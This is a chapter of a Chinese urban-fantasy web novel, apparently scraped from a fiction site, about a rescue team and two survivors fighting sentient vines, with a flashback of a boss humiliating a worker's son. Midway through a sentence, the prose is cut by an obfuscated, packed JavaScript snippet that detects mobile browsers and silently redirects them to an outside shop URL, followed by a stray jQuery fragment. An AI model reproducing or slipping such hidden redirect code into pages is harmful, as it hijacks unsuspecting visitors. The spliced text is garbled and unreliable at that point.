文趣网 > 都市小说 > 鬼怪也要看心理医生吗 > 8. 幸存者
    漆黑夜混着荒废地的草色在街道张牙舞爪,长风呼啸,好似误入深山,见到上个世纪的遗址。

    马路中央横亘厚厚的茧,底下的前行藤毛毛虫搬货,四面八方的绿茧加入队伍,汇去一个方向。

    尽头——翻滚的霉土海又淹死一个鬼魂。

    仇仡把望远镜还给邹良,“建筑都被覆盖,看不见里面具体情况。”

    “硬闯。”邹良深思熟虑道:“我今天必须进去,你们真的想好了?感染情绪液的前行藤十分难缠,越靠近中心我们处境越凶险,到时候不一定能兼顾你们。”

    耿启拿过望远镜,望一圈没找到熟悉的建筑,手机传出通话失败的提醒词,他语气坚定:“我妈在里面。”

    邹良难得多看了眼耿启,前行藤大规模地屠杀绑架魂体,他的母亲凶多吉少。

    仇仡土匪开口:“那就打进去。”

    小藤挥动枝茎,长条绿抬高落下,吹响进攻号角。

    救援车明灯驶入,大街小巷的前行藤苏醒,翠青藤条组成巨人,沸腾地奔向救援车。

    车顶支起两个水炮,漫天水倾盆,前行藤摇摆地触手一僵,高温热水淋下,整节枝茎快速萎缩垂落。

    巨人溃散。

    分散的藤蔓缠上车轮,才接近就被高速旋转的车轱辘碾碎,地面留下一摊绿油油汁液。

    前行藤见此计不通,从远处张弓搭箭,笔直的藤箭直逼邹良,被瞄准的目标却幽幽抬高视线,悬挂的后视镜上贴着一张明黄符纸。

    “砰!”

    藤箭被反弹,原路返回击破箭弓,牢牢钉入藤蔓中央,流出的植物汁液绿中掺灰,一团情绪液钻出,那节前行藤干瘪衰败。

    车前挡风玻璃完好无损。

    黄符轻轻飘起,点亮绘符人写下的字,“反弹”于符纸上闪烁,空白符生效。

    邹良瞅一眼窗明几净的玻璃,忍了忍,眼珠控制不住飘向后座专注窗外的女人的侧脸,她人倚着靠背面向车窗,看着很淡定。

    心理医生的白字符一向用来治疗心理疾病患者,邹良从未见过仇仡这般拿医疗器械应付战斗的。

    临行前他们商讨应对前行藤的方法,植物的弱点无非是火焰,可阴泉街遍布前行藤,一旦点燃,阴泉街必将沦为火场,甚至可能进一步加剧幸存者的困境。

    这个想法直接被pass,仇仡提议喷洒热水牵制前行藤,救援车的喷头可调控水量、范围,不用担心牵连无辜。

    “仇仡医生,反弹符能撑多久?”

    “撑到它不能撑为止。”

    邹良一噎,专心驾驶不讲话了。

    耿启同情地看他,和仇仡聊天痛苦的受害人增加一位。

    仇仡也不想说废话,白字符用于鬼怪心理理疗才明确标注时限,反弹符不过是灵机一动纯手搓的,她真不知能撑几时。

    仇仡:“联系不上你母亲,可以试试联系驿站其他人。”

    “早试过了,没用。”

    耿启失落地握紧手机。

    “嘟嘟——”

    中央扶手盒的手机嗡嗡震响,邹良眉头一拧,点开免提,清晰的女音透过听筒:

    “邹良副队您好,我是鬼怪心理安全局员工073,22:23:07秒安全局收到鬼怪心理监测手环发出的求救信号,经解码定位该信息出自阴泉街猫猫速递驿站。”

    “幸存者极大可能藏身驿站,人数未知,据最新消息:阴泉街已被前行藤全面占领,安全局已通知医护前往,救援队将在一小时后抵达。”

    “支援未到达前辛苦您配合救援,行动凶险,优先保证自身安全,安全局祝您平安归来。”

    “了解,我们已进入阴泉街,高温热水能破坏前行藤根系,我们撑不了太长时间,让支援队尽快……”

    “幸存者……我妈一定还活着,我以前教过她如何使用监测手环!”耿启耳朵捕捉到耳熟能详的店铺,亢奋地提高音量。

    仇仡指了指窗外的景色,语调平稳且中二:“少年,尽情发挥你人形导航的优势吧~”

    邹良恶寒,猛踩油门碾过碎枝。

    前行藤紧急后退,露出底下压着的层层电线,水流触碰破损的外衣流进内里,细小电流流窜,游蛇般延伸数里,顷刻触到车前。

    反弹符恪尽职守工作着,数条无形电流窜过,车身覆上一层绿光,随后震回去,电线滋滋响了几秒,直接报废。

    邹良咂舌,白字符这么好使,鬼界怎么没把它用到军队战斗……

    反弹符力量消减,符纸渐渐变灰。

    “加快速度,反弹符快没能量了。”仇仡给小藤系好安全带,提醒道。

    街道忽远忽近的车鸣传进闷热的仓库,方雨和郑秀梅悄悄交换眼神。

    “哒。”

    一小簇火焰升空,烧灼招摇的前行藤,它立马切断那根藤茎,一堆藤蔓猛虎下山,毛线团成精捆住方雨。

    郑秀梅搬起梯子阻挡,藤蔓缠上梯子,方雨脱下外套裹住,火枪喷向前行藤,很快烧成一片。

    郑秀梅转动梯子,藤蔓像撺了签子的菜叶,咻地被扔进烤盆,散发阵阵焦味,隐约嗅到一丝若有若无的恶臭。

    “跑!”

    方雨打开翻出的手电筒照亮前路,跑出仓库是条长长的走廊,一左一右回廊拐弯处颇多。

    方雨拉着郑秀梅一鼓作气往前冲,身边女人突然大喊:“往左边跑!”

    方雨脚步一转,险险避开追来的枝茎,郑秀梅棍子甩出火星,拽着她奔向一面玻璃。

    “前面没路啊!”

    方雨惊恐,后方步步紧逼的前行藤,她不敢停。

    郑秀梅偏头:“待会儿我一喊你就蹲下,听到没?”

    “啊?”

    紧握的手松开,郑秀梅用力将她掼出去,方雨吓得闭上双眼:“啊——”

    “蹲下!”

    方雨腿软跌倒,头顶的前行藤轰地刺穿玻璃,碎片四溅被藤蔓挡下大半,察觉被骗,前行藤高举分枝摆动,势必要给这两人一顿教训。

    前行藤拔出根系,带起的碎玻璃落在方雨身上,她还没反应,脚踝一热。

    郑秀梅拖着她躲开致命一击,方雨狼狈趴在地板,膝盖手心火辣辣的疼,忍痛捞起火枪烧断藤条。

    二人从玻璃破口跳出,屋外两侧的藤蔓闻声而动追赶。

    方雨破防:“一群狗皮膏药,我烧死你!”

    郑秀梅不置可否,二人躲开前行藤,暂时藏入一家超市,她们受伤不轻,谨慎翻出货架上的药品。

    方雨边涂药边骂人,害怕被怪藤发现还不敢放声痛骂,苦着脸嚷嚷活着出去要老板十倍赔偿。

    郑秀梅上完药安静坐着,耳边小姑娘的声音慢慢远去,意识堕入黑暗。

    “我好像听见车行驶的声音。”方雨扭过头和郑秀梅分享,看清女人痛苦的神情急忙呼唤。

    “秀梅姐?秀梅姐你还好吗?”

    “能听到我说话么?你哪里受伤了?”

    “你别吓我……”

    “郑秀梅!”

    ……

    “秀梅你也知现在环境不好,朱哥实在是拿不出钱啊。”

    男人瞧着四十来岁,小眼大鼻,裤腰带肚子隆起,说话时眼角眯挤细纹,西装衬出他身高短板,脖颈吊下一枚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597990|205602||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    镶金边的菩萨玉牌。

    “朱老板,我在你这工作半年从未出错,说好的工钱一分不少月底结清,可你拖了一月又一月。”

    “四千块凑两个月也该凑齐了。这钱是我和孩子的生活费,你也是有孩子的,何苦为难?”

    郑秀梅捏紧老旧的帆布包,这钱她今天必须拿到。

    “工地的员工又不止你一个,大家都在等,他四千你四千,那边还有埋头苦干的兄弟,哪有那么多四千。”

    谈判不太顺利,郑秀梅和朱老板僵持,忽有一人进来打断。

    “秀梅姐,你状元儿子找你。”

    郑秀梅有一个学习很牛逼的孩子不是秘密,干工地的这辈子最大的心愿就是家里孩子上进,成绩优异,因此大家知晓郑秀梅的孩子考试年年第一免不得调侃她有个“状元”预备役儿子。

    近日流感频发,耿启不幸感染,在家躺了三天,郑秀梅给他请了一周假,不可能出现在工地。

    郑秀梅:“你搞错了吧。”

    那人也急,冲门外招手,“来来来,进来看看这是不是你妈?”

    “小启?你怎么来了?”

    郑秀梅讶异,摸着人额头试体温,“不烧了,不舒服怎么不好好在家待着。”

    耿启早上感冒伴随低烧,吃药睡一觉好了大半,不打喷嚏后便和老师销假回校上学。

    “妈,我吃药好得差不多了,已经和老师说下午上学,正好路过可以给你送饭。”耿启戴口罩,生病鼻子堵塞,声音闷闷地。

    上学路途径工地,郑秀梅还没告知他换工作的事情,还以为她在工地。

    工地活繁重、烟尘多,工人忙活完,浑身烟土气不好去饭店,一般都买饭回工地外面蹲着吃,郑秀梅嫌麻烦,常常在早餐店多买几个面包。

    下工随便解决午饭便继续工作。

    耿启念及母亲,从家备好饭菜送过来。

    “生病就乖乖休息,上学不差这一天两天,还弄什么菜。”郑秀梅无可奈何,接过余温尚在的饭盒。

    耿启:“没事,你忙吧,我上学去。”

    “小启是吧,别急着走。”沉默的朱老板倏然发声,“秀梅,四千肯定是不能给你的,但凑一凑能有个两千。”

    “我们有缘一场,我不愿结怨,你就让小启给我磕一个,两千块就当我资助未来状元了。”朱老板笑着说,‘状元’二字他咬得缓慢,小眼睛直勾勾盯着瘦削的耿启。

    宛如啖肉喝血的怪物。

    “求来的钱不丢人~”

    “哈哈——”

    众人哄笑,见风使舵把矛头对准郑秀梅。

    “磕个头两千块,稳赚不赔的买卖呢。”

    “朱老板你不想给工钱就不想给,侮辱孩子算什么本事!”郑秀梅不敢相信自己的耳朵。

    朱老板淡定吹一口茶,“帮助未来状元是个很有意思的事,秀梅拒绝我一番好心真叫人伤心。”

    他盖上茶盏,杯壁碰撞发出不大不小的“哒”声,“我还没好好看过状元呢,小启上前来,让叔叔仔细瞧瞧。”

    “工钱我不要了!小启我们走。”

    郑秀梅彻底心寒,控制着脾气拉走耿启。

    “你们干什么!?”

    两个牛高马大的男人架住耿启,半拖半拽将人扯到朱老板跟前,本就生病没力气的耿启挣不脱,男人们松手,他砰地摔在地上。

    朱老板可惜地叹气,鞋尖踩住耿启指节。

    “看来状元不懂礼貌啊,见到长辈不问好,家里还是缺个有教养的,让你落下了做人的基本礼貌。没关系,叔叔是个好心人,今天叔叔好好教教你。”